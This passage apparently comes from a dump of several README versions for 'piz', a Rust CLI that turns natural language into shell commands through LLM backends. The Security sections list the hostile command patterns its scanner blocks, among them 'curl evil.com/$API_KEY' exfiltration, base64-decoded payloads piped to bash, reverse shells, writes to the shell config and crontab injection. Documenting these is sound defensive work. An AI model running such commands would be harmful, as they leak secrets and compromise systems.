Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (157)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "31f2d826ec5c54a169c7c511ddc53c6c0479e060": {"t": 1785760784.0635512, "n": 13885, "h": "fe0b809da03a20c6", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English, Japanese interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en/ja).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (158)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "6b16a887632b9a56eb510c5a82d399832cc575f5": {"t": 1785760786.3756788, "n": 10353, "h": "11b48769777d05b6", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n\nMatched commands are **blocked** and cannot be executed.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, refusal detection\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # Prompt templates with security rules and few-shot examples\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ ├── gemini.rs # Google Gemini adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex danger detection + injection scanner\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (120)\ncargo install --path . # Install to PATH\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "bb7400e3a0f0b6d96db340c295f84aa386015c94": {"t": 1785760787.6785493, "n": 7130, "h": "67db295e1e6c8e75", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Ollama, or any OpenAI-compatible API (DeepSeek, SiliconFlow, Moonshot, etc.)\n- **Danger Detection** - Dual-layer protection: regex patterns + LLM classification. Dangerous commands require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend: openai (DeepSeek, Moonshot, SiliconFlow, ...)\n? Select API provider: SiliconFlow (api.siliconflow.cn)\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\" # Custom for third-party APIs\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n# base_url = \"https://api.anthropic.com\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Third-Party API Examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Moonshot</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n## Danger Detection\n\npiz uses dual-layer danger detection to protect you:\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\nRegex-based detection runs locally (no LLM needed) and catches patterns like `rm -rf /`, `mkfs`, `dd of=/dev/`, `FORMAT C:`, `DROP TABLE`, 